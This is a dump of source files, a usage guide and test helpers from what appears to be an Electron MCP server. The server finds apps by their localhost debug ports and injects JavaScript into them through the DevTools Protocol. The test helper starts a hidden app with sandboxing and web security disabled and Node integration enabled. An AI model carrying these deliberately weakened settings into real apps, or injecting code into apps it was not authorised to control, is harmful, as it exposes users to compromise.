 21 |   devToolsPort?: number;
 22 |   windows: WindowInfo[];
 23 |   totalTargets: number;
 24 |   electronTargets: number;
 25 |   processInfo?: any;
 26 |   message: string;
 27 |   automationReady: boolean;
 28 | }
 29 | 
 30 | /**
 31 |  * Scan for running Electron applications with DevTools enabled
 32 |  */
 33 | export async function scanForElectronApps(): Promise<ElectronAppInfo[]> {
 34 |   logger.debug('Scanning for running Electron applications...');
 35 | 
 36 |   // Extended port range to include test apps and common custom ports
 37 |   const commonPorts = [
 38 |     9222,
 39 |     9223,
 40 |     9224,
 41 |     9225, // Default ports
 42 |     9200,
 43 |     9201,
 44 |     9202,
 45 |     9203,
 46 |     9204,
 47 |     9205, // Security test range
 48 |     9300,
 49 |     9301,
 50 |     9302,
 51 |     9303,
 52 |     9304,
 53 |     9305, // Integration test range
 54 |     9400,
 55 |     9401,
 56 |     9402,
 57 |     9403,
 58 |     9404,
 59 |     9405, // Additional range
 60 |   ];
 61 |   const foundApps: ElectronAppInfo[] = [];
 62 | 
 63 |   for (const port of commonPorts) {
 64 |     try {
 65 |       const response = await fetch(`http://localhost:${port}/json`, {
 66 |         signal: AbortSignal.timeout(1000),
 67 |       });
 68 | 
 69 |       if (response.ok) {
 70 |         const targets = await response.json();
 71 |         const pageTargets = targets.filter((target: any) => target.type === 'page');
 72 | 
 73 |         if (pageTargets.length > 0) {
 74 |           foundApps.push({
 75 |             port,
 76 |             targets: pageTargets,
 77 |           });
 78 |           logger.debug(`Found Electron app on port ${port} with ${pageTargets.length} windows`);
 79 |         }
 80 |       }
 81 |     } catch {
 82 |       // Continue to next port
 83 |     }
 84 |   }
 85 | 
 86 |   return foundApps;
 87 | }
 88 | 
 89 | /**
 90 |  * Get detailed process information for running Electron applications
 91 |  */
 92 | export async function getElectronProcessInfo(): Promise<any> {
 93 |   const execAsync = promisify(exec);
 94 | 
 95 |   try {
 96 |     const { stdout } = await execAsync(
 97 |       "ps aux | grep -i electron | grep -v grep | grep -v 'Visual Studio Code'",
 98 |     );
 99 | 
100 |     const electronProcesses = stdout
101 |       .trim()
102 |       .split('\n')
103 |       .filter((line) => line.includes('electron'))
104 |       .map((line) => {
105 |         const parts = line.trim().split(/\s+/);
106 |         return {
107 |           pid: parts[1],
108 |           cpu: parts[2],
109 |           memory: parts[3],
110 |           command: parts.slice(10).join(' '),
111 |         };
112 |       });
113 | 
114 |     return { electronProcesses };
115 |   } catch (error) {
116 |     logger.debug('Could not get process info:', error);
117 |     return {};
118 |   }
119 | }
120 | 
121 | /**
122 |  * Find the main target from a list of targets
123 |  */
124 | export function findMainTarget(targets: any[]): any | null {
125 |   return (
126 |     targets.find((target: any) => target.type === 'page' && !target.title.includes('DevTools')) ||
127 |     targets.find((target: any) => target.type === 'page')
128 |   );
129 | }
130 | 
131 | /**
132 |  * Get window information from any running Electron app
133 |  */
134 | export async function getElectronWindowInfo(
135 |   includeChildren: boolean = false,
136 | ): Promise<ElectronWindowResult> {
137 |   try {
138 |     const foundApps = await scanForElectronApps();
139 | 
140 |     if (foundApps.length === 0) {
141 |       return {
142 |         platform: process.platform,
143 |         windows: [],
144 |         totalTargets: 0,
145 |         electronTargets: 0,
146 |         message: 'No Electron applications found with remote debugging enabled',
147 |         automationReady: false,
148 |       };
149 |     }
150 | 
151 |     // Use the first found app
152 |     const app = foundApps[0];
153 |     const windows: WindowInfo[] = app.targets.map((target: any) => ({
154 |       id: target.id,
155 |       title: target.title,
156 |       url: target.url,
157 |       type: target.type,
158 |       description: target.description || '',
159 |       webSocketDebuggerUrl: target.webSocketDebuggerUrl,
160 |     }));
161 | 
162 |     // Get additional process information
163 |     const processInfo = await getElectronProcessInfo();
164 | 
165 |     return {
166 |       platform: process.platform,
167 |       devToolsPort: app.port,
168 |       windows: includeChildren
169 |         ? windows
170 |         : windows.filter((w: WindowInfo) => !w.title.includes('DevTools')),
171 |       totalTargets: windows.length,
172 |       electronTargets: windows.length,
173 |       processInfo,
174 |       message: `Found running Electron application with ${windows.length} windows on port ${app.port}`,
175 |       automationReady: true,
176 |     };
177 |   } catch (error) {
178 |     logger.error('Failed to scan for applications:', error);
179 |     return {
180 |       platform: process.platform,
181 |       windows: [],
182 |       totalTargets: 0,
183 |       electronTargets: 0,
184 |       message: `Failed to scan for Electron applications: ${
185 |         error instanceof Error ? error.message : String(error)
186 |       }`,
187 |       automationReady: false,
188 |     };
189 |   }
190 | }
191 | 
```

--------------------------------------------------------------------------------
/MCP_USAGE_GUIDE.md:
--------------------------------------------------------------------------------

```markdown
  1 | # MCP Usage Examples for Electron MCP Server
  2 | 
  3 | This document provides comprehensive examples of how to properly use the Electron MCP Server tools.
  4 | 
  5 | ## 🎯 Common Patterns
  6 | 
  7 | ### Getting Started - Page Inspection
  8 | 
  9 | Always start by understanding the page structure:
 10 | 
 11 | ```json
 12 | {
 13 |   "command": "get_page_structure"
 14 | }
 15 | ```
 16 | 
 17 | This returns all interactive elements with their properties, helping you choose the right targeting method.
 18 | 
 19 | ### Button Interactions
 20 | 
 21 | #### Method 1: Click by Visible Text (Recommended)
 22 | 
 23 | ```json
 24 | {
 25 |   "command": "click_by_text",
 26 |   "args": {
 27 |     "text": "Create New Encyclopedia"
 28 |   }
 29 | }
 30 | ```
 31 | 
 32 | #### Method 2: Click by CSS Selector
 33 | 
 34 | ```json
 35 | {
 36 |   "command": "click_by_selector",
 37 |   "args": {
 38 |     "selector": "button[class*='bg-blue-500']"
 39 |   }
 40 | }
 41 | ```
 42 | 
 43 | ### Form Interactions
 44 | 
 45 | #### Fill Input by Placeholder
 46 | 
 47 | ```json
 48 | {
 49 |   "command": "fill_input",
 50 |   "args": {
 51 |     "placeholder": "Enter encyclopedia name",
 52 |     "value": "AI and Machine Learning"
 53 |   }
 54 | }
 55 | ```
 56 | 
 57 | #### Fill Input by CSS Selector
 58 | 
 59 | ```json
 60 | {
 61 |   "command": "fill_input",
 62 |   "args": {
 63 |     "selector": "#email",
 64 |     "value": "[email protected]"
 65 |   }
 66 | }
 67 | ```
 68 | 
 69 | ### Keyboard Shortcuts
 70 | 
 71 | ```json
 72 | {
 73 |   "command": "send_keyboard_shortcut",
 74 |   "args": {
 75 |     "text": "Ctrl+N"
 76 |   }
 77 | }
 78 | ```
 79 | 
 80 | ### Custom JavaScript
 81 | 
 82 | ```json
 83 | {
 84 |   "command": "eval",
 85 |   "args": {
 86 |     "code": "document.querySelectorAll('button').length"
 87 |   }
 88 | }
 89 | ```
 90 | 
 91 | ## 🚨 Common Mistakes and Fixes
 92 | 
 93 | ### ❌ Mistake 1: Wrong Argument Structure
 94 | 
 95 | ```json
 96 | // WRONG - causes "selector is empty" error
 97 | {
 98 |   "command": "click_by_selector",
 99 |   "args": "button.submit"
100 | }
101 | 
102 | // CORRECT
103 | {
104 |   "command": "click_by_selector",
105 |   "args": {
106 |     "selector": "button.submit"
107 |   }
108 | }
109 | ```
110 | 
111 | ### ❌ Mistake 2: Using Complex Selectors Incorrectly
112 | 
113 | ```json
114 | // WRONG - invalid CSS syntax
115 | {
116 |   "command": "click_by_selector",
117 |   "args": {
118 |     "selector": "button:has-text('Create')"
119 |   }
120 | }
121 | 
122 | // CORRECT - use click_by_text instead
123 | {
124 |   "command": "click_by_text",
125 |   "args": {
126 |     "text": "Create"
127 |   }
128 | }
129 | ```
130 | 
131 | ### ❌ Mistake 3: Not Handling React/Dynamic Content
132 | 
133 | ```json
134 | // BETTER - wait and retry pattern
135 | {
136 |   "command": "get_page_structure"
137 | }
138 | // Check if elements loaded, then:
139 | {
140 |   "command": "click_by_selector",
141 |   "args": {
142 |     "selector": "button[data-testid='submit']"
143 |   }
144 | }
145 | ```
146 | 
147 | ## 🔄 Complete Workflow Examples
148 | 
149 | ### Example 1: Creating a New Item in an App
150 | 
151 | ```json
152 | // 1. Take a screenshot to see current state
153 | {
154 |   "tool": "take_screenshot"
155 | }
156 | 
157 | // 2. Understand the page structure
158 | {
159 |   "tool": "send_command_to_electron",
160 |   "args": {
161 |     "command": "get_page_structure"
162 |   }
163 | }
164 | 
165 | // 3. Click the "Create" button
166 | {
167 |   "tool": "send_command_to_electron",
168 |   "args": {
169 |     "command": "click_by_text",
170 |     "args": {
171 |       "text": "Create New"
172 |     }
173 |   }
174 | }
175 | 
176 | // 4. Fill in the form
177 | {
178 |   "tool": "send_command_to_electron",
179 |   "args": {
180 |     "command": "fill_input",
181 |     "args": {
182 |       "placeholder": "Enter name",
183 |       "value": "My New Item"
184 |     }
185 |   }
186 | }
187 | 
188 | // 5. Submit the form
189 | {
190 |   "tool": "send_command_to_electron",
191 |   "args": {
192 |     "command": "click_by_selector",
193 |     "args": {
194 |       "selector": "button[type='submit']"
195 |     }
196 |   }
197 | }
198 | 
199 | // 6. Verify success
200 | {
201 |   "tool": "take_screenshot"
202 | }
203 | ```
204 | 
205 | ### Example 2: Debugging Element Issues
206 | 
207 | ```json
208 | // 1. Get all button information
209 | {
210 |   "tool": "send_command_to_electron",
211 |   "args": {
212 |     "command": "debug_elements"
213 |   }
214 | }
215 | 
216 | // 2. Check specific element properties
217 | {
218 |   "tool": "send_command_to_electron",
219 |   "args": {
220 |     "command": "eval",
221 |     "args": {
222 |       "code": "Array.from(document.querySelectorAll('button')).map(btn => ({text: btn.textContent, classes: btn.className, visible: btn.offsetParent !== null}))"
223 |     }
224 |   }
225 | }
226 | 
227 | // 3. Try alternative targeting method
228 | {
229 |   "tool": "send_command_to_electron",
230 |   "args": {
231 |     "command": "click_by_text",
232 |     "args": {
233 |       "text": "Submit"
234 |     }
235 |   }
236 | }
237 | ```
238 | 
239 | ## 💡 Best Practices
240 | 
241 | ### 1. Always Verify Element Existence
242 | 
243 | ```json
244 | {
245 |   "command": "eval",
246 |   "args": {
247 |     "code": "document.querySelector('button.submit') ? 'Element exists' : 'Element not found'"
248 |   }
249 | }
250 | ```
251 | 
252 | ### 2. Use Text-Based Targeting When Possible
253 | 
254 | Text-based targeting is more resilient to UI changes:
255 | 
256 | ```json
257 | {
258 |   "command": "click_by_text",
259 |   "args": {
260 |     "text": "Save"
261 |   }
262 | }
263 | ```
264 | 
265 | ### 3. Fallback Strategies
266 | 
267 | ```json
268 | // Try text first
269 | {
270 |   "command": "click_by_text",
271 |   "args": {
272 |     "text": "Submit"
273 |   }
274 | }
275 | 
276 | // If that fails, try selector
277 | {
278 |   "command": "click_by_selector",
279 |   "args": {
280 |     "selector": "button[type='submit']"
281 |   }
282 | }
283 | ```
284 | 
285 | ### 4. Handle Dynamic Content
286 | 
287 | ```json
288 | // Check if content is loaded
289 | {
290 |   "command": "eval",
291 |   "args": {
292 |     "code": "document.querySelector('.loading') ? 'Still loading' : 'Ready'"
293 |   }
294 | }
295 | ```
296 | 
297 | ## 🛠️ Security Considerations
298 | 
299 | ### Safe JavaScript Execution
300 | 
301 | ```json
302 | // SAFE - simple property access
303 | {
304 |   "command": "eval",
305 |   "args": {
306 |     "code": "document.title"
307 |   }
308 | }
309 | 
310 | // AVOID - complex operations that might be blocked
311 | {
312 |   "command": "eval",
313 |   "args": {
314 |     "code": "fetch('/api/data').then(r => r.json())"
315 |   }
316 | }
317 | ```
318 | 
319 | ### Use Built-in Commands
320 | 
321 | Prefer built-in commands over eval when possible:
322 | 
323 | ```json
324 | // BETTER
325 | {
326 |   "command": "get_title"
327 | }
328 | 
329 | // INSTEAD OF
330 | {
331 |   "command": "eval",
332 |   "args": {
333 |     "code": "document.title"
334 |   }
335 | }
336 | ```
337 | 
338 | ## 📝 Tool Reference Summary
339 | 
340 | | Tool                       | Purpose        | Key Arguments                               |
341 | | -------------------------- | -------------- | ------------------------------------------- |
342 | | `get_electron_window_info` | Get app info   | `includeChildren: boolean`                  |
343 | | `take_screenshot`          | Capture screen | `windowTitle?: string, outputPath?: string` |
344 | | `send_command_to_electron` | UI interaction | `command: string, args: object`             |
345 | | `read_electron_logs`       | View logs      | `logType?: string, lines?: number`          |
346 | 
347 | Remember: Always structure arguments as objects with the appropriate properties for each command!
348 | 
```

--------------------------------------------------------------------------------
/src/handlers.ts:
--------------------------------------------------------------------------------

```typescript
  1 | import { CallToolRequestSchema } from '@modelcontextprotocol/sdk/types';
  2 | import { z } from 'zod';
  3 | import { ToolName } from './tools';
  4 | import {
  5 |   SendCommandToElectronSchema,
  6 |   TakeScreenshotSchema,
  7 |   ReadElectronLogsSchema,
  8 |   GetElectronWindowInfoSchema,
  9 | } from './schemas';
 10 | import { sendCommandToElectron } from './utils/electron-enhanced-commands';
 11 | import { getElectronWindowInfo } from './utils/electron-discovery';
 12 | import { readElectronLogs } from './utils/electron-logs';
 13 | import { takeScreenshot } from './screenshot';
 14 | import { logger } from './utils/logger';
 15 | import { securityManager } from './security/manager';
 16 | 
 17 | export async function handleToolCall(request: z.infer<typeof CallToolRequestSchema>) {
 18 |   const { name, arguments: args } = request.params;
 19 | 
 20 |   // Extract request metadata for security logging
 21 |   const sourceIP = (request as any).meta?.sourceIP;
 22 |   const userAgent = (request as any).meta?.userAgent;
 23 | 
 24 |   try {
 25 |     switch (name) {
 26 |       case ToolName.GET_ELECTRON_WINDOW_INFO: {
 27 |         // This is a low-risk read operation - basic validation only
 28 |         const { includeChildren } = GetElectronWindowInfoSchema.parse(args);
 29 | 
 30 |         const securityResult = await securityManager.executeSecurely({
 31 |           command: 'get_window_info',
 32 |           args,
 33 |           sourceIP,
 34 |           userAgent,
 35 |           operationType: 'window_info',
 36 |         });
 37 | 
 38 |         if (securityResult.blocked) {
 39 |           return {
 40 |             content: [
 41 |               {
 42 |                 type: 'text',
 43 |                 text: `Operation blocked: ${securityResult.error}`,
 44 |               },
 45 |             ],
 46 |             isError: true,
 47 |           };
 48 |         }
 49 | 
 50 |         const result = await getElectronWindowInfo(includeChildren);
 51 |         return {
 52 |           content: [
 53 |             {
 54 |               type: 'text',
 55 |               text: `Window Information:\n\n${JSON.stringify(result, null, 2)}`,
 56 |             },
 57 |           ],
 58 |           isError: false,
 59 |         };
 60 |       }
 61 | 
 62 |       case ToolName.TAKE_SCREENSHOT: {
 63 |         // Security check for screenshot operation
 64 |         const securityResult = await securityManager.executeSecurely({
 65 |           command: 'take_screenshot',
 66 |           args,
 67 |           sourceIP,
 68 |           userAgent,
 69 |           operationType: 'screenshot',
 70 |         });
 71 | 
 72 |         if (securityResult.blocked) {
 73 |           return {
 74 |             content: [
 75 |               {
 76 |                 type: 'text',
 77 |                 text: `Screenshot blocked: ${securityResult.error}`,
 78 |               },
 79 |             ],
 80 |             isError: true,
 81 |           };
 82 |         }
 83 |         const { outputPath, windowTitle } = TakeScreenshotSchema.parse(args);
 84 |         const result = await takeScreenshot(outputPath, windowTitle);
 85 | 
 86 |         // Return the screenshot as base64 data for AI to evaluate
 87 |         const content: any[] = [];
 88 | 
 89 |         if (result.filePath) {
 90 |           content.push({
 91 |             type: 'text',
 92 |             text: `Screenshot saved to: ${result.filePath}`,
 93 |           });
 94 |         } else {
 95 |           content.push({
 96 |             type: 'text',
 97 |             text: 'Screenshot captured in memory (no file saved)',
 98 |           });
 99 |         }
100 | 
101 |         // Add the image data for AI evaluation
102 |         content.push({
103 |           type: 'image',
104 |           data: result.base64!,
105 |           mimeType: 'image/png',
106 |         });
107 | 
108 |         return { content, isError: false };
109 |       }
110 | 
111 |       case ToolName.SEND_COMMAND_TO_ELECTRON: {
112 |         const { command, args: commandArgs } = SendCommandToElectronSchema.parse(args);
113 | 
114 |         // Execute command through security manager
115 |         const securityResult = await securityManager.executeSecurely({
116 |           command,
117 |           args: commandArgs,
118 |           sourceIP,
119 |           userAgent,
120 |           operationType: 'command',
121 |         });
122 | 
123 |         if (securityResult.blocked) {
124 |           return {
125 |             content: [
126 |               {
127 |                 type: 'text',
128 |                 text: `Command blocked: ${securityResult.error}\nRisk Level: ${securityResult.riskLevel}`,
129 |               },
130 |             ],
131 |             isError: true,
132 |           };
133 |         }
134 | 
135 |         if (!securityResult.success) {
136 |           return {
137 |             content: [
138 |               {
139 |                 type: 'text',
140 |                 text: `Command failed: ${securityResult.error}`,
141 |               },
142 |             ],
143 |             isError: true,
144 |           };
145 |         }
146 | 
147 |         // Execute the actual command if security checks pass
148 |         const result = await sendCommandToElectron(command, commandArgs);
149 |         return {
150 |           content: [{ type: 'text', text: result }],
151 |           isError: false,
152 |         };
153 |       }
154 | 
155 |       case ToolName.READ_ELECTRON_LOGS: {
156 |         const { logType, lines, follow } = ReadElectronLogsSchema.parse(args);
157 |         const logs = await readElectronLogs(logType, lines);
158 | 
159 |         if (follow) {
160 |           return {
161 |             content: [
162 |               {
163 |                 type: 'text',
164 |                 text: `Following logs (${logType}). This is a snapshot of recent logs:\n\n${logs}`,
165 |               },
166 |             ],
167 |             isError: false,
168 |           };
169 |         }
170 | 
171 |         return {
172 |           content: [
173 |             {
174 |               type: 'text',
175 |               text: `Electron logs (${logType}):\n\n${logs}`,
176 |             },
177 |           ],
178 |           isError: false,
179 |         };
180 |       }
181 | 
182 |       default:
183 |         return {
184 |           content: [
185 |             {
186 |               type: 'text',
187 |               text: `Unknown tool: ${name}`,
188 |             },
189 |           ],
190 |           isError: true,
191 |         };
192 |     }
193 |   } catch (error) {
194 |     const errorMessage = error instanceof Error ? error.message : String(error);
195 |     const errorStack = error instanceof Error ? error.stack : undefined;
196 | 
197 |     logger.error(`Tool execution failed: ${name}`, {
198 |       error: errorMessage,
199 |       stack: errorStack,
200 |       args,
201 |     });
202 | 
203 |     return {
204 |       content: [
205 |         {
206 |           type: 'text',
207 |           text: `Error executing ${name}: ${errorMessage}`,
208 |         },
209 |       ],
210 |       isError: true,
211 |     };
212 |   }
213 | }
214 | 
```

--------------------------------------------------------------------------------
/src/utils/electron-connection.ts:
--------------------------------------------------------------------------------

```typescript
  1 | import WebSocket from 'ws';
  2 | import { scanForElectronApps, findMainTarget } from './electron-discovery';
  3 | import { logger } from './logger';
  4 | 
  5 | export interface DevToolsTarget {
  6 |   id: string;
  7 |   title: string;
  8 |   url: string;
  9 |   webSocketDebuggerUrl: string;
 10 |   type: string;
 11 | }
 12 | 
 13 | export interface CommandResult {
 14 |   success: boolean;
 15 |   result?: any;
 16 |   error?: string;
 17 |   message: string;
 18 | }
 19 | 
 20 | /**
 21 |  * Find and connect to a running Electron application
 22 |  */
 23 | export async function findElectronTarget(): Promise<DevToolsTarget> {
 24 |   logger.debug('Looking for running Electron applications...');
 25 | 
 26 |   const foundApps = await scanForElectronApps();
 27 | 
 28 |   if (foundApps.length === 0) {
 29 |     throw new Error(
 30 |       'No running Electron application found with remote debugging enabled. Start your app with: electron . --remote-debugging-port=9222',
 31 |     );
 32 |   }
 33 | 
 34 |   const app = foundApps[0];
 35 |   const mainTarget = findMainTarget(app.targets);
 36 | 
 37 |   if (!mainTarget) {
 38 |     throw new Error('No suitable target found in Electron application');
 39 |   }
 40 | 
 41 |   logger.debug(`Found Electron app on port ${app.port}: ${mainTarget.title}`);
 42 | 
 43 |   return {
 44 |     id: mainTarget.id,
 45 |     title: mainTarget.title,
 46 |     url: mainTarget.url,
 47 |     webSocketDebuggerUrl: mainTarget.webSocketDebuggerUrl,
 48 |     type: mainTarget.type,
 49 |   };
 50 | }
 51 | 
 52 | /**
 53 |  * Execute JavaScript code in an Electron application via Chrome DevTools Protocol
 54 |  */
 55 | export async function executeInElectron(
 56 |   javascriptCode: string,
 57 |   target?: DevToolsTarget,
 58 | ): Promise<string> {
 59 |   const targetInfo = target || (await findElectronTarget());
 60 | 
 61 |   if (!targetInfo.webSocketDebuggerUrl) {
 62 |     throw new Error('No WebSocket debugger URL available');
 63 |   }
 64 | 
 65 |   return new Promise((resolve, reject) => {
 66 |     const ws = new WebSocket(targetInfo.webSocketDebuggerUrl);
 67 |     const messageId = Math.floor(Math.random() * 1000000);
 68 | 
 69 |     const timeout = setTimeout(() => {
 70 |       ws.close();
 71 |       reject(new Error('Command execution timeout (10s)'));
 72 |     }, 10000);
 73 | 
 74 |     ws.on('open', () => {
 75 |       logger.debug(`Connected to ${targetInfo.title} via WebSocket`);
 76 | 
 77 |       // Enable Runtime domain first
 78 |       ws.send(
 79 |         JSON.stringify({
 80 |           id: 1,
 81 |           method: 'Runtime.enable',
 82 |         }),
 83 |       );
 84 | 
 85 |       // Send Runtime.evaluate command
 86 |       const message = {
 87 |         id: messageId,
 88 |         method: 'Runtime.evaluate',
 89 |         params: {
 90 |           expression: javascriptCode,
 91 |           returnByValue: true,
 92 |           awaitPromise: false,
 93 |         },
 94 |       };
 95 | 
 96 |       logger.debug(`Executing JavaScript code...`);
 97 |       ws.send(JSON.stringify(message));
 98 |     });
 99 | 
100 |     ws.on('message', (data) => {
101 |       try {
102 |         const response = JSON.parse(data.toString());
103 | 
104 |         // Filter out noisy CDP events to reduce log spam
105 |         const FILTERED_CDP_METHODS = [
106 |           'Runtime.executionContextCreated',
107 |           'Runtime.consoleAPICalled',
108 |           'Console.messageAdded',
109 |           'Page.frameNavigated',
110 |           'Page.loadEventFired',
111 |         ];
112 | 
113 |         // Only log CDP events if debug level is enabled and they're not filtered
114 |         if (
115 |           logger.isEnabled(3) &&
116 |           (!response.method || !FILTERED_CDP_METHODS.includes(response.method))
117 |         ) {
118 |           logger.debug(`CDP Response for message ${messageId}:`, JSON.stringify(response, null, 2));
119 |         }
120 | 
121 |         if (response.id === messageId) {
122 |           clearTimeout(timeout);
123 |           ws.close();
124 | 
125 |           if (response.error) {
126 |             logger.error(`DevTools Protocol error:`, response.error);
127 |             reject(new Error(`DevTools Protocol error: ${response.error.message}`));
128 |           } else if (response.result) {
129 |             const result = response.result.result;
130 |             logger.debug(`Execution result type: ${result?.type}, value:`, result?.value);
131 | 
132 |             if (result.type === 'string') {
133 |               resolve(`✅ Command executed: ${result.value}`);
134 |             } else if (result.type === 'number') {
135 |               resolve(`✅ Result: ${result.value}`);
136 |             } else if (result.type === 'boolean') {
137 |               resolve(`✅ Result: ${result.value}`);
138 |             } else if (result.type === 'undefined') {
139 |               resolve(`✅ Command executed successfully`);
140 |             } else if (result.type === 'object') {
141 |               if (result.value === null) {
142 |                 resolve(`✅ Result: null`);
143 |               } else if (result.value === undefined) {
144 |                 resolve(`✅ Result: undefined`);
145 |               } else {
146 |                 try {
147 |                   resolve(`✅ Result: ${JSON.stringify(result.value, null, 2)}`);
148 |                 } catch {
149 |                   resolve(
150 |                     `✅ Result: [Object - could not serialize: ${
151 |                       result.className || result.objectId || 'unknown'
152 |                     }]`,
153 |                   );
154 |                 }
155 |               }
156 |             } else {
157 |               resolve(`✅ Result type ${result.type}: ${result.description || 'no description'}`);
158 |             }
159 |           } else {
160 |             logger.debug(`No result in response:`, response);
161 |             resolve(`✅ Command sent successfully`);
162 |           }
163 |         }
164 |       } catch (error) {
165 |         // Only treat parsing errors as warnings, not errors
166 |         logger.warn(`Failed to parse CDP response:`, error);
167 |       }
168 |     });
169 | 
170 |     ws.on('error', (error) => {
171 |       clearTimeout(timeout);
172 |       reject(new Error(`WebSocket error: ${error.message}`));
173 |     });
174 |   });
175 | }
176 | 
177 | /**
178 |  * Connect to Electron app for real-time log monitoring
179 |  */
180 | export async function connectForLogs(
181 |   target?: DevToolsTarget,
182 |   onLog?: (log: string) => void,
183 | ): Promise<WebSocket> {
184 |   const targetInfo = target || (await findElectronTarget());
185 | 
186 |   if (!targetInfo.webSocketDebuggerUrl) {
187 |     throw new Error('No WebSocket debugger URL available for log connection');
188 |   }
189 | 
190 |   return new Promise((resolve, reject) => {
191 |     const ws = new WebSocket(targetInfo.webSocketDebuggerUrl);
192 | 
193 |     ws.on('open', () => {
194 |       logger.debug(`Connected for log monitoring to: ${targetInfo.title}`);
195 | 
196 |       // Enable Runtime and Console domains
197 |       ws.send(JSON.stringify({ id: 1, method: 'Runtime.enable' }));
198 |       ws.send(JSON.stringify({ id: 2, method: 'Console.enable' }));
199 | 
200 |       resolve(ws);
201 |     });
202 | 
203 |     ws.on('message', (data) => {
204 |       try {
205 |         const response = JSON.parse(data.toString());
206 | 
207 |         if (response.method === 'Console.messageAdded') {
208 |           const msg = response.params.message;
209 |           const timestamp = new Date().toISOString();
210 |           const logEntry = `[${timestamp}] ${msg.level.toUpperCase()}: ${msg.text}`;
211 |           onLog?.(logEntry);
212 |         } else if (response.method === 'Runtime.consoleAPICalled') {
213 |           const call = response.params;
214 |           const timestamp = new Date().toISOString();
215 |           const args = call.args?.map((arg: any) => arg.value || arg.description).join(' ') || '';
216 |           const logEntry = `[${timestamp}] ${call.type.toUpperCase()}: ${args}`;
217 |           onLog?.(logEntry);
218 |         }
219 |       } catch (error) {
220 |         logger.warn(`Failed to parse log message:`, error);
221 |       }
222 |     });
223 | 
224 |     ws.on('error', (error) => {
225 |       reject(new Error(`WebSocket error: ${error.message}`));
226 |     });
227 |   });
228 | }
229 | 
```

--------------------------------------------------------------------------------
/tests/support/helpers.ts:
--------------------------------------------------------------------------------

```typescript
  1 | import { rmSync, existsSync, readdirSync, statSync, writeFileSync, mkdirSync } from 'fs';
  2 | import { join, basename } from 'path';
  3 | import { logger } from '../../src/utils/logger';
  4 | import { TEST_CONFIG, createElectronAppPath } from './config';
  5 | import { spawn, ChildProcess } from 'child_process';
  6 | import { createServer } from 'net';
  7 | 
  8 | export interface TestElectronApp {
  9 |   port: number;
 10 |   process: ChildProcess;
 11 |   appPath: string;
 12 |   cleanup: () => Promise<void>;
 13 | }
 14 | 
 15 | export interface CleanupOptions {
 16 |   removeLogsDir?: boolean;
 17 |   removeTempDir?: boolean;
 18 |   preserveKeys?: boolean;
 19 | }
 20 | 
 21 | /**
 22 |  * Consolidated test helpers and utilities
 23 |  */
 24 | export class TestHelpers {
 25 |   /**
 26 |    * Create and start a test Electron application
 27 |    */
 28 |   static async createTestElectronApp(): Promise<TestElectronApp> {
 29 |     const port = await this.findAvailablePort();
 30 |     const appPath = createElectronAppPath(port);
 31 | 
 32 |     // Create app directory and files
 33 |     mkdirSync(appPath, { recursive: true });
 34 | 
 35 |     // Create package.json
 36 |     const packageJson = {
 37 |       name: 'test-electron-app',
 38 |       version: '1.0.0',
 39 |       main: 'main.js',
 40 |       scripts: {
 41 |         start: 'electron .',
 42 |       },
 43 |     };
 44 |     writeFileSync(join(appPath, 'package.json'), JSON.stringify(packageJson, null, 2));
 45 | 
 46 |     // Create main.js
 47 |     const mainJs = `
 48 |       const { app, BrowserWindow } = require('electron');
 49 |       const path = require('path');
 50 |       
 51 |       let mainWindow;
 52 |       
 53 |       app.commandLine.appendSwitch('remote-debugging-port', '${port}');
 54 |       app.commandLine.appendSwitch('no-sandbox');
 55 |       app.commandLine.appendSwitch('disable-web-security');
 56 |       
 57 |       function createWindow() {
 58 |         mainWindow = new BrowserWindow({
 59 |           width: 800,
 60 |           height: 600,
 61 |           show: false, // Keep hidden for testing
 62 |           webPreferences: {
 63 |             nodeIntegration: true,
 64 |             contextIsolation: false
 65 |           }
 66 |         });
 67 |         
 68 |         mainWindow.setTitle('${TEST_CONFIG.ELECTRON.WINDOW_TITLE}');
 69 |         mainWindow.loadFile('index.html');
 70 |         
 71 |         mainWindow.webContents.once('did-finish-load', () => {
 72 |           console.log('[TEST-APP] Window ready, staying hidden for testing');
 73 |         });
 74 |       }
 75 |       
 76 |       app.whenReady().then(() => {
 77 |         createWindow();
 78 |         console.log('[TEST-APP] Electron app ready with remote debugging on port ${port}');
 79 |       });
 80 |       
 81 |       app.on('window-all-closed', () => {
 82 |         if (process.platform !== 'darwin') {
 83 |           app.quit();
 84 |         }
 85 |       });
 86 |     `;
 87 |     writeFileSync(join(appPath, 'main.js'), mainJs);
 88 | 
 89 |     // Create index.html
 90 |     writeFileSync(join(appPath, 'index.html'), TEST_CONFIG.ELECTRON.HTML_CONTENT);
 91 | 
 92 |     // Start the Electron process
 93 |     const electronProcess = spawn('npx', ['electron', '.'], {
 94 |       cwd: appPath,
 95 |       stdio: ['pipe', 'pipe', 'pipe'],
 96 |     });
 97 | 
 98 |     const app: TestElectronApp = {
 99 |       port,
100 |       process: electronProcess,
101 |       appPath,
102 |       cleanup: async () => {
103 |         electronProcess.kill();
104 |         if (existsSync(appPath)) {
105 |           rmSync(appPath, { recursive: true, force: true });
106 |         }
107 |       },
108 |     };
109 | 
110 |     // Wait for app to be ready
111 |     await this.waitForElectronApp(app);
112 | 
113 |     return app;
114 |   }
115 | 
116 |   /**
117 |    * Wait for Electron app to be ready for testing
118 |    */
119 |   static async waitForElectronApp(
120 |     app: TestElectronApp,
121 |     timeout = TEST_CONFIG.TIMEOUTS.ELECTRON_START,
122 |   ): Promise<void> {
123 |     return new Promise((resolve, reject) => {
124 |       const startTime = Date.now();
125 | 
126 |       const checkReady = async () => {
127 |         try {
128 |           const response = await fetch(`http://localhost:${app.port}/json`);
129 |           if (response.ok) {
130 |             logger.info(`✅ Test Electron app ready for integration and security testing`);
131 |             resolve();
132 |             return;
133 |           }
134 |         } catch {
135 |           // App not ready yet
136 |         }
137 | 
138 |         if (Date.now() - startTime > timeout) {
139 |           reject(new Error(`Electron app failed to start within ${timeout}ms`));
140 |           return;
141 |         }
142 | 
143 |         setTimeout(checkReady, 100);
144 |       };
145 | 
146 |       checkReady();
147 |     });
148 |   }
149 | 
150 |   /**
151 |    * Find an available port in the configured range
152 |    */
153 |   private static async findAvailablePort(): Promise<number> {
154 |     const [start, end] = TEST_CONFIG.ELECTRON.DEFAULT_PORT_RANGE;
155 | 
156 |     for (let port = start; port <= end; port++) {
157 |       if (await this.isPortAvailable(port)) {
158 |         return port;
159 |       }
160 |     }
161 | 
162 |     throw new Error(`No available ports in range ${start}-${end}`);
163 |   }
164 | 
165 |   /**
166 |    * Check if a port is available
167 |    */
168 |   private static async isPortAvailable(port: number): Promise<boolean> {
169 |     return new Promise((resolve) => {
170 |       const server = createServer();
171 | 
